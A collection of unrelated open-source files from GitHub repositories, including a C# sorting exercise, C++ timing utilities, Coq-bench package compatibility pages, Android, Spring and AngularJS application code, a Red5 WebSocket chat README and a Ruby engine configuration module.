int[] array = InputArrayNumbers(n);
Console.Write("Enter start index: ");
int start = int.Parse(Console.ReadLine());
Console.Write("Enter end index: ");
int end = int.Parse(Console.ReadLine());
Console.WriteLine("Max element in interval [{0}, {1}] -> {2}", start, end, GetMaxElementInInterval(array, start, end));
Console.WriteLine("Numbers in Ascending order: {0}", string.Join(" ", SortAscending(array)));
Console.WriteLine("Numbers in Descending order: {0}", string.Join(" ", SortDescending(array)));
}
static int[] InputArrayNumbers(int length)
{
int[] array = new int[length];
for (int i = 0; i < length; i++)
{
array[i] = int.Parse(Console.ReadLine());
}
return array;
}
static int GetMaxElementInInterval(int[] numbers, int start, int end, int swapIndex = 0)
{
if (start < 0 || start >= numbers.Length || end < 0 || end >= numbers.Length)
{
throw new IndexOutOfRangeException();
}
int maxIndex = start;
for (int i = start; i <= end; i++)
{
if (numbers[maxIndex] < numbers[i])
{
maxIndex = i;
}
}
int temp = numbers[swapIndex];
numbers[swapIndex] = numbers[maxIndex];
numbers[maxIndex] = temp;
return numbers[swapIndex];
}
static int[] SortAscending(int[] array)
{
int[] sorted = new int[array.Length];
for (int i = array.Length - 1; i >= 0; i--)
{
sorted[i] = GetMaxElementInInterval(array, 0, i, i);
}
return sorted;
}
static int[] SortDescending(int[] array)
{
int[] sorted = new int[array.Length];
for (int i = 0; i < array.Length; i++)
{
sorted[i] = GetMaxElementInInterval(array, i, array.Length - 1, i);
}
return sorted;
}
} | {'content_hash': '5b5d2748c3e62d5e4a57434b6680eb96', 'timestamp': '', 'source': 'github', 'line_count': 82, 'max_line_length': 127, 'avg_line_length': 30.4390243902439, 'alnum_prop': 0.5408653846153846, 'repo_name': 'MarinMarinov/C-Sharp-Part-2', 'id': 'df4f48a9d67b7bb0f65c342f6bf5a47b0c24807f', 'size': '2498', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'Homework 03-Methods/Problem 09. Sorting array/Program.cs', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'C#', 'bytes': '269821'}]} |
//
// Copyright (c) 2010 Dariusz Gadomski <[email protected]>
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this
// list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation and/or
// other materials provided with the distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS''
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
#include <util.h>
#include <ostream>
namespace debug
{
DebugLevel _verbosity_;
struct nullstream: std::ostream
{
nullstream() :
std::ostream(0)
{
}
};
std::ostream& dbg(DebugLevel level)
{
static nullstream dummystream;
if (level >= getVerbosity())
return std::cout;
return dummystream;
}
int timeval_subtract(struct timeval *result, struct timeval *x,
struct timeval *y)
{
/* Perform the carry for the later subtraction by updating y. */
if (x->tv_usec < y->tv_usec)
{
int nsec = (y->tv_usec - x->tv_usec) / 1000000 + 1;
y->tv_usec -= 1000000 * nsec;
y->tv_sec += nsec;
}
if (x->tv_usec - y->tv_usec > 1000000)
{
int nsec = (y->tv_usec - x->tv_usec) / 1000000;
y->tv_usec += 1000000 * nsec;
y->tv_sec -= nsec;
}
/* Compute the time remaining to wait.
tv_usec is certainly positive. */
result->tv_sec = x->tv_sec - y->tv_sec;
result->tv_usec = x->tv_usec - y->tv_usec;
/* Return 1 if result is negative. */
return x->tv_sec < y->tv_sec;
}
int timeval_add(struct timeval *result, struct timeval *x,
struct timeval *y)
{
struct timeval tmp;
long carry = 0;
tmp.tv_usec = x->tv_usec + y->tv_usec;
if( tmp.tv_usec >= 1000000 )
{
++carry;
tmp.tv_usec %=1000000;
}
tmp.tv_sec = x->tv_sec + y->tv_sec + carry;
result->tv_sec = tmp.tv_sec;
result->tv_usec = tmp.tv_usec;
return carry;
}
}
| {'content_hash': 'aa61923cace41118862354f7b8678c4e', 'timestamp': '', 'source': 'github', 'line_count': 98, 'max_line_length': 83, 'avg_line_length': 29.540816326530614, 'alnum_prop': 0.6625215889464594, 'repo_name': 'dargad/network-traffic-prediction', 'id': '3b83d5fb13872c1ed9fb5e4c272728737d7012f9', 'size': '2895', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'models/src/util.cpp', 'mode': '33188', 'license': 'bsd-3-clause', 'language': [{'name': 'C++', 'bytes': '168500'}, {'name': 'Shell', 'bytes': '2071'}]} |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>coquelicot: Not compatible 👼</title>
<link rel="shortcut icon" type="image/png" href="../../../../../favicon.png" />
<link href="../../../../../bootstrap.min.css" rel="stylesheet">
<link href="../../../../../bootstrap-custom.css" rel="stylesheet">
<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet">
<script src="../../../../../moment.min.js"></script>
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<div class="container">
<div class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="../../../../.."><i class="fa fa-lg fa-flag-checkered"></i> Coq bench</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li><a href="../..">clean / released</a></li>
<li class="active"><a href="">8.12.2 / coquelicot - 2.1.1</a></li>
</ul>
</div>
</div>
</div>
<div class="article">
<div class="row">
<div class="col-md-12">
<a href="../..">« Up</a>
<h1>
coquelicot
<small>
2.1.1
<span class="label label-info">Not compatible 👼</span>
</small>
</h1>
<p>📅 <em><script>document.write(moment("2022-04-22 09:36:58 +0000", "YYYY-MM-DD HH:mm:ss Z").fromNow());</script> (2022-04-22 09:36:58 UTC)</em><p>
<h2>Context</h2>
<pre># Packages matching: installed
# Name # Installed # Synopsis
base-bigarray base
base-threads base
base-unix base
conf-findutils 1 Virtual package relying on findutils
coq 8.12.2 Formal proof management system
num 1.4 The legacy Num library for arbitrary-precision integer and rational arithmetic
ocaml 4.10.2 The OCaml compiler (virtual package)
ocaml-base-compiler 4.10.2 Official release 4.10.2
ocaml-config 1 OCaml Switch Configuration
ocamlfind 1.9.3 A library manager for OCaml
# opam file:
opam-version: "2.0"
maintainer: "[email protected]"
homepage: "http://coquelicot.saclay.inria.fr/"
dev-repo: "git+https://gitlab.inria.fr/coquelicot/coquelicot.git"
bug-reports: "https://gitlab.inria.fr/coquelicot/coquelicot/issues"
license: "LGPL-3.0-or-later"
build: [
["./configure"]
["./remake" "-j%{jobs}%"]
]
install: ["./remake" "install"]
depends: [
"coq" {>= "8.4pl4" & < "8.6~"}
"coq-mathcomp-ssreflect" {>= "1.6"}
]
tags: [ "keyword:real analysis" "keyword:topology" "keyword:filters" "keyword:metric spaces" "category:Mathematics/Real Calculus and Topology" ]
authors: [ "Sylvie Boldo <[email protected]>" "Catherine Lelay <[email protected]>" "Guillaume Melquiond <[email protected]>" ]
synopsis: "A Coq formalization of real analysis compatible with the standard library"
url {
src: "https://coquelicot.gitlabpages.inria.fr/releases/coquelicot-2.1.1.tar.gz"
checksum: "md5=bd648a43a06f422ee6ba886f93d0a534"
}
</pre>
<h2>Lint</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
</dl>
<h2>Dry install 🏜️</h2>
<p>Dry install with the current Coq version:</p>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>opam install -y --show-action coq-coquelicot.2.1.1 coq.8.12.2</code></dd>
<dt>Return code</dt>
<dd>5120</dd>
<dt>Output</dt>
<dd><pre>[NOTE] Package coq is already installed (current version is 8.12.2).
The following dependencies couldn't be met:
- coq-coquelicot -> coq < 8.6~ -> ocaml < 4.06.0
base of this switch (use `--unlock-base' to force)
No solution found, exiting
</pre></dd>
</dl>
<p>Dry install without Coq/switch base, to test if the problem was incompatibility with the current Coq/OCaml version:</p>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>opam remove -y coq; opam install -y --show-action --unlock-base coq-coquelicot.2.1.1</code></dd>
<dt>Return code</dt>
<dd>0</dd>
</dl>
<h2>Install dependencies</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Duration</dt>
<dd>0 s</dd>
</dl>
<h2>Install 🚀</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Duration</dt>
<dd>0 s</dd>
</dl>
<h2>Installation size</h2>
<p>No files were installed.</p>
<h2>Uninstall 🧹</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Missing removes</dt>
<dd>
none
</dd>
<dt>Wrong removes</dt>
<dd>
none
</dd>
</dl>
</div>
</div>
</div>
<hr/>
<div class="footer">
<p class="text-center">
Sources are on <a href="https://github.com/coq-bench">GitHub</a> © Guillaume Claret 🐣
</p>
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="../../../../../bootstrap.min.js"></script>
</body>
</html>
| {'content_hash': 'c5add0dcdac23f8c79d5cc038477de2c', 'timestamp': '', 'source': 'github', 'line_count': 160, 'max_line_length': 197, 'avg_line_length': 42.56875, 'alnum_prop': 0.5420643077374835, 'repo_name': 'coq-bench/coq-bench.github.io', 'id': '36d1231805ffb5a1cdfdb73232cf32e7a9ebcb46', 'size': '6836', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'clean/Linux-x86_64-4.10.2-2.0.6/released/8.12.2/coquelicot/2.1.1.html', 'mode': '33188', 'license': 'mit', 'language': []} |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>canon-bdds: Not compatible 👼</title>
<link rel="shortcut icon" type="image/png" href="../../../../../favicon.png" />
<link href="../../../../../bootstrap.min.css" rel="stylesheet">
<link href="../../../../../bootstrap-custom.css" rel="stylesheet">
<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet">
<script src="../../../../../moment.min.js"></script>
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<div class="container">
<div class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="../../../../.."><i class="fa fa-lg fa-flag-checkered"></i> Coq bench</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li><a href="../..">clean / released</a></li>
<li class="active"><a href="">8.7.1+1 / canon-bdds - 8.10.0</a></li>
</ul>
</div>
</div>
</div>
<div class="article">
<div class="row">
<div class="col-md-12">
<a href="../..">« Up</a>
<h1>
canon-bdds
<small>
8.10.0
<span class="label label-info">Not compatible 👼</span>
</small>
</h1>
<p>📅 <em><script>document.write(moment("2022-04-02 17:44:00 +0000", "YYYY-MM-DD HH:mm:ss Z").fromNow());</script> (2022-04-02 17:44:00 UTC)</em><p>
<h2>Context</h2>
<pre># Packages matching: installed
# Name # Installed # Synopsis
base-bigarray base
base-threads base
base-unix base
camlp5 7.14 Preprocessor-pretty-printer of OCaml
conf-findutils 1 Virtual package relying on findutils
conf-perl 2 Virtual package relying on perl
coq 8.7.1+1 Formal proof management system
num 1.4 The legacy Num library for arbitrary-precision integer and rational arithmetic
ocaml 4.06.1 The OCaml compiler (virtual package)
ocaml-base-compiler 4.06.1 Official 4.06.1 release
ocaml-config 1 OCaml Switch Configuration
ocamlfind 1.9.3 A library manager for OCaml
# opam file:
opam-version: "2.0"
maintainer: "[email protected]"
homepage: "https://github.com/coq-contribs/canon-bdds"
license: "Unknown"
build: [make "-j%{jobs}%"]
install: [make "install"]
remove: ["rm" "-R" "%{lib}%/coq/user-contrib/CanonBDDs"]
depends: [
"ocaml"
"coq" {>= "8.10" & < "8.11~"}
]
tags: [
"keyword: BDD"
"keyword: BDT"
"keyword: finite sets"
"keyword: model checking"
"keyword: binary decision diagrams"
"category: Computer Science/Decision Procedures and Certified Algorithms/Decision procedures"
"category: Miscellaneous/Extracted Programs/Decision procedures"
]
authors: [
"Emmanuel Ledinot"
]
bug-reports: "https://github.com/coq-contribs/canon-bdds/issues"
dev-repo: "git+https://github.com/coq-contribs/canon-bdds.git"
synopsis: "Canonicity of Binary Decision Dags"
description: """
A proof of unicity and canonicity of Binary Decision Trees and
Binary Decision Dags. This contrib contains also a development on finite sets."""
flags: light-uninstall
url {
src: "https://github.com/coq-contribs/canon-bdds/archive/v8.10.0.tar.gz"
checksum: "md5=d23b9b74b3a8af434c1e1907d24c4a9d"
}
</pre>
<h2>Lint</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
</dl>
<h2>Dry install 🏜️</h2>
<p>Dry install with the current Coq version:</p>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>opam install -y --show-action coq-canon-bdds.8.10.0 coq.8.7.1+1</code></dd>
<dt>Return code</dt>
<dd>5120</dd>
<dt>Output</dt>
<dd><pre>[NOTE] Package coq is already installed (current version is 8.7.1+1).
The following dependencies couldn't be met:
- coq-canon-bdds -> coq >= 8.10
Your request can't be satisfied:
- No available version of coq satisfies the constraints
No solution found, exiting
</pre></dd>
</dl>
<p>Dry install without Coq/switch base, to test if the problem was incompatibility with the current Coq/OCaml version:</p>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>opam remove -y coq; opam install -y --show-action --unlock-base coq-canon-bdds.8.10.0</code></dd>
<dt>Return code</dt>
<dd>0</dd>
</dl>
<h2>Install dependencies</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Duration</dt>
<dd>0 s</dd>
</dl>
<h2>Install 🚀</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Duration</dt>
<dd>0 s</dd>
</dl>
<h2>Installation size</h2>
<p>No files were installed.</p>
<h2>Uninstall 🧹</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Missing removes</dt>
<dd>
none
</dd>
<dt>Wrong removes</dt>
<dd>
none
</dd>
</dl>
</div>
</div>
</div>
<hr/>
<div class="footer">
<p class="text-center">
Sources are on <a href="https://github.com/coq-bench">GitHub</a> © Guillaume Claret 🐣
</p>
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="../../../../../bootstrap.min.js"></script>
</body>
</html>
| {'content_hash': '7d3275022dcd9d6f2f9072c2b4235857', 'timestamp': '', 'source': 'github', 'line_count': 175, 'max_line_length': 159, 'avg_line_length': 40.65714285714286, 'alnum_prop': 0.5498243148278286, 'repo_name': 'coq-bench/coq-bench.github.io', 'id': '697add0f6d53a94f193a693766161358df0ffcaa', 'size': '7140', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'clean/Linux-x86_64-4.06.1-2.0.5/released/8.7.1+1/canon-bdds/8.10.0.html', 'mode': '33188', 'license': 'mit', 'language': []} |
package eu.restio.designernews.fragments;
import android.os.AsyncTask;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import com.google.gson.Gson;
import com.google.gson.reflect.TypeToken;
import java.lang.reflect.Type;
import java.util.ArrayList;
import eu.restio.designernews.adapters.JobsListViewAdapter;
import eu.restio.designernews.MainActivity;
import eu.restio.designernews.R;
import eu.restio.designernews.models.Job;
import eu.restio.designernews.network.API;
public class JobsFragment extends android.support.v4.app.ListFragment {
public ArrayList<Job> jobs_list;
private JobsListViewAdapter adapter;
public static JobsFragment newInstance() {
return new JobsFragment();
}
public JobsFragment() {
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
View rootView = inflater.inflate(R.layout.fragment_jobs, container, false);
adapter = new JobsListViewAdapter(getActivity(), jobs_list);
setListAdapter(adapter);
new JobsFetcher().execute();
return rootView;
}
class JobsFetcher extends AsyncTask<Void, Void, String> {
@Override
protected String doInBackground(Void... params) {
API a = API.getInstance();
return a.prefetch_jobs();
}
@Override
protected void onPostExecute(String result) {
try {
if (result == null) {
MainActivity a = (MainActivity) getActivity();
a.raiseNetworkError();
}
Gson gson = new Gson();
Type listType = new TypeToken<ArrayList<Job>>() {}.getType();
jobs_list = gson.fromJson(result, listType);
adapter.addAll(jobs_list);
adapter.notifyDataSetChanged();
} catch (NullPointerException e) {
e.printStackTrace();
}
}
}
}
| {'content_hash': '6f23c703df38a20439c22d7cf50f4f02', 'timestamp': '', 'source': 'github', 'line_count': 77, 'max_line_length': 83, 'avg_line_length': 28.792207792207794, 'alnum_prop': 0.6377988272440235, 'repo_name': 'sharpfuryz/designernews', 'id': '58670b8a8dc2c6e97c2fdf993f7be52dfdb1e952', 'size': '2217', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'app/src/main/java/eu/restio/designernews/fragments/JobsFragment.java', 'mode': '33188', 'license': 'bsd-3-clause', 'language': [{'name': 'Java', 'bytes': '40379'}]} |
package com.zen.member;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.domain.Page;
import org.springframework.data.domain.Pageable;
import org.springframework.stereotype.Service;
@Service
public class MemberService {
@Autowired
private MemberDAO memberDAO;
public Member findByMobile(final String mobile) {
return memberDAO.selectByMobile(mobile);
}
public Member findByEmail(final String mobile) {
return memberDAO.selectByEmail(mobile);
}
public Page<Member> findAll(final Pageable pageable) {
return memberDAO.findAll(pageable);
}
}
| {'content_hash': '9ea1c4cfe31e048a2fb01045eaeb85cf', 'timestamp': '', 'source': 'github', 'line_count': 27, 'max_line_length': 62, 'avg_line_length': 23.0, 'alnum_prop': 0.7793880837359098, 'repo_name': 'nickevin/spring-boot-demo', 'id': '90f8e2320383055988b3c35db7e733ac202fdaff', 'size': '621', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'src/main/java/com/zen/member/MemberService.java', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'Java', 'bytes': '18548'}, {'name': 'JavaScript', 'bytes': '1179'}]} |
(function() {
'use strict';
angular
.module('gastronomeeApp')
.config(stateConfig);
stateConfig.$inject = ['$stateProvider'];
function stateConfig($stateProvider) {
$stateProvider
.state('restaurant-order', {
parent: 'entity',
url: '/restaurant-order?page&sort&search',
data: {
authorities: ['ROLE_USER'],
pageTitle: 'gastronomeeApp.restaurantOrder.home.title'
},
views: {
'content@': {
templateUrl: 'app/entities/restaurant-order/restaurant-orders.html',
controller: 'RestaurantOrderController',
controllerAs: 'vm'
}
},
params: {
page: {
value: '1',
squash: true
},
sort: {
value: 'id,asc',
squash: true
},
search: null
},
resolve: {
pagingParams: ['$stateParams', 'PaginationUtil', function ($stateParams, PaginationUtil) {
return {
page: PaginationUtil.parsePage($stateParams.page),
sort: $stateParams.sort,
predicate: PaginationUtil.parsePredicate($stateParams.sort),
ascending: PaginationUtil.parseAscending($stateParams.sort),
search: $stateParams.search
};
}],
translatePartialLoader: ['$translate', '$translatePartialLoader', function ($translate, $translatePartialLoader) {
$translatePartialLoader.addPart('restaurantOrder');
$translatePartialLoader.addPart('restaurantOrderStatus');
$translatePartialLoader.addPart('global');
return $translate.refresh();
}]
}
})
.state('restaurant-order-detail', {
parent: 'restaurant-order',
url: '/restaurant-order/{id}',
data: {
authorities: ['ROLE_USER'],
pageTitle: 'gastronomeeApp.restaurantOrder.detail.title'
},
views: {
'content@': {
templateUrl: 'app/entities/restaurant-order/restaurant-order-detail.html',
controller: 'RestaurantOrderDetailController',
controllerAs: 'vm'
}
},
resolve: {
translatePartialLoader: ['$translate', '$translatePartialLoader', function ($translate, $translatePartialLoader) {
$translatePartialLoader.addPart('restaurantOrder');
$translatePartialLoader.addPart('restaurantOrderStatus');
return $translate.refresh();
}],
entity: ['$stateParams', 'RestaurantOrder', function($stateParams, RestaurantOrder) {
return RestaurantOrder.get({id : $stateParams.id}).$promise;
}],
previousState: ["$state", function ($state) {
var currentStateData = {
name: $state.current.name || 'restaurant-order',
params: $state.params,
url: $state.href($state.current.name, $state.params)
};
return currentStateData;
}]
}
})
.state('restaurant-order-detail.edit', {
parent: 'restaurant-order-detail',
url: '/detail/edit',
data: {
authorities: ['ROLE_USER']
},
onEnter: ['$stateParams', '$state', '$uibModal', function($stateParams, $state, $uibModal) {
$uibModal.open({
templateUrl: 'app/entities/restaurant-order/restaurant-order-dialog.html',
controller: 'RestaurantOrderDialogController',
controllerAs: 'vm',
backdrop: 'static',
size: 'lg',
resolve: {
entity: ['RestaurantOrder', function(RestaurantOrder) {
return RestaurantOrder.get({id : $stateParams.id}).$promise;
}]
}
}).result.then(function() {
$state.go('^', {}, { reload: false });
}, function() {
$state.go('^');
});
}]
})
.state('restaurant-order.new', {
parent: 'restaurant-order',
url: '/new',
data: {
authorities: ['ROLE_USER']
},
onEnter: ['$stateParams', '$state', '$uibModal', function($stateParams, $state, $uibModal) {
$uibModal.open({
templateUrl: 'app/entities/restaurant-order/restaurant-order-dialog.html',
controller: 'RestaurantOrderDialogController',
controllerAs: 'vm',
backdrop: 'static',
size: 'lg',
resolve: {
entity: function () {
return {
rate: null,
persons: null,
comment: null,
created: null,
updated: null,
status: null,
id: null
};
}
}
}).result.then(function() {
$state.go('restaurant-order', null, { reload: 'restaurant-order' });
}, function() {
$state.go('restaurant-order');
});
}]
})
.state('restaurant-order.edit', {
parent: 'restaurant-order',
url: '/{id}/edit',
data: {
authorities: ['ROLE_USER']
},
onEnter: ['$stateParams', '$state', '$uibModal', function($stateParams, $state, $uibModal) {
$uibModal.open({
templateUrl: 'app/entities/restaurant-order/restaurant-order-dialog.html',
controller: 'RestaurantOrderDialogController',
controllerAs: 'vm',
backdrop: 'static',
size: 'lg',
resolve: {
entity: ['RestaurantOrder', function(RestaurantOrder) {
return RestaurantOrder.get({id : $stateParams.id}).$promise;
}]
}
}).result.then(function() {
$state.go('restaurant-order', null, { reload: 'restaurant-order' });
}, function() {
$state.go('^');
});
}]
})
.state('restaurant-order.delete', {
parent: 'restaurant-order',
url: '/{id}/delete',
data: {
authorities: ['ROLE_USER']
},
onEnter: ['$stateParams', '$state', '$uibModal', function($stateParams, $state, $uibModal) {
$uibModal.open({
templateUrl: 'app/entities/restaurant-order/restaurant-order-delete-dialog.html',
controller: 'RestaurantOrderDeleteController',
controllerAs: 'vm',
size: 'md',
resolve: {
entity: ['RestaurantOrder', function(RestaurantOrder) {
return RestaurantOrder.get({id : $stateParams.id}).$promise;
}]
}
}).result.then(function() {
$state.go('restaurant-order', null, { reload: 'restaurant-order' });
}, function() {
$state.go('^');
});
}]
});
}
})();
| {'content_hash': 'e80b46e8ca42bdadfa014dff3d58b68f', 'timestamp': '', 'source': 'github', 'line_count': 197, 'max_line_length': 130, 'avg_line_length': 41.796954314720814, 'alnum_prop': 0.43429681807141124, 'repo_name': 'goxhaj/gastronomee', 'id': '2b018b0e846135d1153ad6ce6fe60c2004f2112d', 'size': '8234', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'src/main/webapp/app/entities/restaurant-order/restaurant-order.state.js', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'Batchfile', 'bytes': '5006'}, {'name': 'CSS', 'bytes': '10726'}, {'name': 'Gherkin', 'bytes': '179'}, {'name': 'HTML', 'bytes': '289485'}, {'name': 'Java', 'bytes': '600452'}, {'name': 'JavaScript', 'bytes': '429624'}, {'name': 'Scala', 'bytes': '37498'}, {'name': 'Shell', 'bytes': '7058'}]} |
Chat application
================
Red5 WebSocket chat application example.
The example <i>index.html</i> defaults to using a WebSocket connection to localhost on port 5080. This means that the host and port are riding the same host and port as the http connector which is configured in the <i>red5/conf/jee-container.xml</i> file. Two new steps are required to migrate from the previous versions:
# Add the `websocketEnabled` to the Tomcat server entry in the `conf/jee-container.xml` file
```xml
<property name="websocketEnabled" value="true" />
```
# Add the WebSocket filter servlet to webapps that require WebSocket support
```xml
<filter>
<filter-name>WebSocketFilter</filter-name>
<filter-class>org.red5.net.websocket.server.WsFilter</filter-class>
<async-supported>true</async-supported>
</filter>
<filter-mapping>
<filter-name>WebSocketFilter</filter-name>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
<dispatcher>FORWARD</dispatcher>
</filter-mapping>
```
Lastly, remove any separate `webSocketTransport` beans from the `conf/jee-container.xml` file.
```xml
<bean id="webSocketTransport" class="org.red5.net.websocket.WebSocketTransport">
<property name="addresses">
<list>
<value>localhost:8081</value>
</list>
</property>
</bean>
```
Build the application from the command line with
```sh
mvn package
```
Deploy your application by copying the war file into your <i>red5/webapps</i> directory.
After deploy is complete, go to http://localhost:5080/chat/ in your browser (open two tabs if you want to chat back and forth on the same computer).
Pre-compiled WAR
----------------
You can find [compiled artifacts via Maven](http://mvnrepository.com/artifact/org.red5.demos/chat)
[Direct Download](https://oss.sonatype.org/content/repositories/releases/org/red5/demos/chat/2.0.0/chat-2.0.0.war)
| {'content_hash': '982c0e040e30a458343908d729c90fa0', 'timestamp': '', 'source': 'github', 'line_count': 56, 'max_line_length': 321, 'avg_line_length': 35.660714285714285, 'alnum_prop': 0.6910365548322484, 'repo_name': 'Red5/red5-websocket-chat', 'id': 'ca4b601a5f3c024338a7d5c7701bb69631dfac53', 'size': '1997', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'README.md', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'HTML', 'bytes': '7758'}, {'name': 'Java', 'bytes': '14250'}, {'name': 'JavaScript', 'bytes': '26351'}]} |
require "droom/monkeys"
require "droom/lazy_hash"
require "droom/renderers"
require "droom/engine"
require "droom/auth_cookie"
require "droom/validators"
require "droom/searchability"
require "droom/taggability"
require "droom/folders"
require "mail_form"
module Droom
# Droom configuration is handled by accessors on the Droom base module.
# Boolean items also offer the interrogative form.
mattr_accessor :root_path,
:home_url,
:suggestible_classes,
:searchable_classes,
:yt_client,
:layout,
:devise_layout,
:email_layout,
:email_host,
:email_from,
:email_from_name,
:email_return_path,
:main_dashboard_modules,
:margin_dashboard_modules,
:panels,
:scrap_types,
:default_scrap_type,
:use_chinese_names,
:use_biogs,
:use_separate_mobile_number,
:use_titles,
:use_honours,
:use_organisations,
:enable_mailing_lists,
:mailman_table_name,
:mailing_lists_active_by_default,
:mailing_lists_digest_by_default,
:show_venue_map,
:dropbox_app_key,
:dropbox_app_secret,
:dropbox_app_name,
:user_defaults,
:people_sort,
:required_calendar_names,
:stream_shared,
:aws_bucket_name,
:all_events_public,
:all_documents_public,
:password_pattern,
:separate_calendars,
:second_time_zone,
:require_login_permission,
:default_permissions
class DroomError < StandardError; end
class AuthRequired < DroomError; end
class PermissionDenied < DroomError; end
class PasswordRequired < DroomError; end
class << self
def home_url
@@home_url ||= "http://example.com"
end
def layout
@@layout ||= "application"
end
def devise_layout
@@devise_layout ||= "application"
end
def email_host
@@email_host ||= "please-change-email-host-in-droom-initializer.example.com"
end
def email_layout
@@email_layout ||= "email"
end
def email_from
@@email_from ||= "[email protected]"
end
def email_from_name
@@email_from ||= "Please Set Email-From Name In Droom Initializer"
end
def email_return_path
@@email_return_path ||= email_from
end
def people_sort
@@people_sort ||= "position ASC"
end
def sign_out_path
@@sign_out_path ||= "/users/sign_out"
end
def root_path
@@root_path ||= "dashboard#index"
end
def main_dashboard_modules
@@main_dashboard_modules ||= %w{my_future_events my_folders}
end
def margin_dashboard_modules
@@margin_dashboard_modules ||= %w{quicksearch stream}
end
def panels
@@panels ||= %w{configuration search admin}
end
def scrap_types
@@scrap_types ||= %w{image text quote link event document}
end
def default_scrap_type
@@default_scrap_type ||= 'text'
end
def use_chinese_names?
!!@@use_chinese_names
end
def use_titles?
!!@@use_titles
end
def use_honours?
!!@@use_honours
